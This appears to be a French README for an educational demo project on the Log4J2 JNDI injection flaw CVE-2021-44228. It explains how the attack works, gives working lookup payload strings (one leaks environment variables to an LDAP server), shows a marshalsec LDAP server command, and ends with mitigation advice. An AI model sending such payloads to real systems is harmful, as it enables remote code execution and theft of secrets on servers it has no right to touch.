Ceci est un exemple d'exploitation de CVE-2021-44228

Une vulnérabilité RCE de Log4J2

---

Je ne suis pas responsable de ce code. SVP ne l'utilisez pas à des fins malveillantes

CVE-2021-44228 :
Cette vulnérabilité vous permet d'exécuter du code arbitraire en journalisant un message malveillant sur la machine cible.
Par exemple, vous pouvez l'utiliser dans Minecraft en envoyant un message dans le chat, et la machine du serveur/joueur journalisera le message du chat et exécutera votre code.
Vidéo LiveOverflow/CVE-2021-44228

Le message doit contenir un espace réservé ${} avec l'instruction de charger un objet distant via l'API jndi. Il chargera l'objet via une ObjectFactory

• LDAP ldap://x.x.x.x:port/...
• HTTP http://x.x.x.x/...
• DNS dns://x.x.x/...
• etc...

${jndi:ldap://127.0.0.1:1389/#}

Si l'ObjectFactory n'est pas présente dans le client, cela ne fera rien.
Sauf pour résoudre le serveur.
Avec cela, vous pouvez fuiter des variables d'environnement :

${jndi:ldap://127.0.0.1:1389/${env:java_home}}

Pourquoi tout ce battage autour de cette RCE ?

pourquoi tant de battage ?
Si ma compréhension est correcte, cela fournit une interface à JNDI

Ce qui peut être exploité

JNDI JDAP est une API de recherche d'objets.
Vous pouvez obtenir un objet Java depuis un serveur.
marshalsec/LDAPRefServer
Il envoie des données d'objet, et le nom de l'ObjectFactory, qui devrait construire l'objet côté client.
Il peut être exploité de plusieurs manières.
Si LDAP est configuré pour faire confiance au code externe, nous avons seulement besoin de donner l'URL à une ObjectFactory malveillante.
com.sun.jndi.ldap.object.trustURLCodebase = true
Ou il existe une autre vulnérabilité Java. JDK-8196902
Combiné avec cela, cela deviendra vraiment une RCE.
De nombreux dépôts POC font cela sur GitHub. Par exemple tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce

Si cela est défini sur false (par défaut c'est false), nous pouvons chercher une ObjectFactory exploitable dans la base de code cible,
Ou exploiter JNDI d'une manière différente.

Pour en savoir plus sur l'injection JNDI :
Injection JNDI
Veracode Research/rogue-jndi

Dans l'exemple :

RCEExample est une fonction qui journalise le message malveillant.
Appuyez simplement sur Exécuter pour l'exécuter...

LoggerFactory est une ObjectFactory qui journalisera tout ce qu'elle reçoit...
Si vous compilez marshalsec, vous pouvez lui demander d'utiliser LoggerFactory

1. java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1/#LoggerFactory"
2. Exécutez rce.RCEExample et observez l'exploit (le logger).
3. Vous pouvez déboguer ce projet et placer un point d'arrêt dans LoggerFactory, voir les objets.

Sécurisez votre programme

Votre programme n'est pas affecté SI il journalise uniquement des messages intégrés.
Si le programme peut journaliser du texte provenant de n'importe quel fichier de données, ou du réseau, il est vulnérable.
Mais vous devriez quand même le corriger...

Le mieux que vous puissiez faire est de mettre à jour vers Log4J2 2.15.0+
Si cela n'est pas possible pour une raison quelconque, désactivez la recherche JNDI avec l'argument Java suivant : ‐Dlog4j2.formatMsgNoLookups=True pour atténuer la vulnérabilité.

Si vous êtes administrateur d'un serveur Minecraft, suivez le guide officiel : MESSAGE IMPORTANT : VULNÉRABILITÉ DE SÉCURITÉ DANS JAVA EDITION